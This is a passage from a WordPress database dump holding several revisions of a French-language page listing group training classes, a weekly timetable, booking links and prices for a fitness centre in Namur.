pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:05:26', '2014-08-31 08:05:26', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(448, 1, '2014-08-31 08:07:36', '2014-08-31 08:07:36', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:07:36', '2014-08-31 08:07:36', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(450, 1, '2014-08-31 08:10:52', '2014-08-31 08:10:52', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:10:52', '2014-08-31 08:10:52', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
